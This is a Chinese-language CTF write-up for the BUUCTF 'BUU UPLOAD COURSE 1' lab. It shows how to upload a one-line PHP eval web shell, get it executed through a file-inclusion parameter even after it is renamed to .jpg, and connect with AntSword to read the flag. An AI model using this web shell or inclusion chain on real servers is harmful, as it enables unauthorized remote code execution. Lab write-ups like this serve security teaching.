【CTF Web】BUUCTF BUU UPLOAD COURSE 1 Writeup（文件上传+PHP+文件包含漏洞）
BUU UPLOAD COURSE 1
1
上课用~
点击启动靶机。
解法
疑似存在文件包含漏洞。
http://15a5666e-1796-4f76-b892-0b69cf97df8e.node5.buuoj.cn:81/index.php?file=upload.php
查看网页源代码。判断是后端检查。
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>上传文件</title>
</head>
<body>
<div style="text-align: center">
<h>文件会被上传到 ./uploads</h>
<form action="index.php?file=upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file"/>
<input type="submit" value="上传"/>
</form>
</div>
</body>
</html>
上传一句话木马。
<?php @eval($_POST['a']); ?>
文件后缀会被重命名，后缀变为 .jpg。
用蚁剑连接：
http://15a5666e-1796-4f76-b892-0b69cf97df8e.node5.buuoj.cn:81/index.php?file=uploads/66374dbc5c2dc.jpg
连接成功。
在根目录找到 flag。
Flag
flag{6e79908c-7d5e-4ce4-95ca-4ca1b5602f71}
声明
本博客上发布的所有关于网络攻防技术的文章，仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行，并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为，包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时，必须遵守法律法规，不得用于任何非法目的。对于因使用这些技术而导致的任何后果，博主不承担任何责任。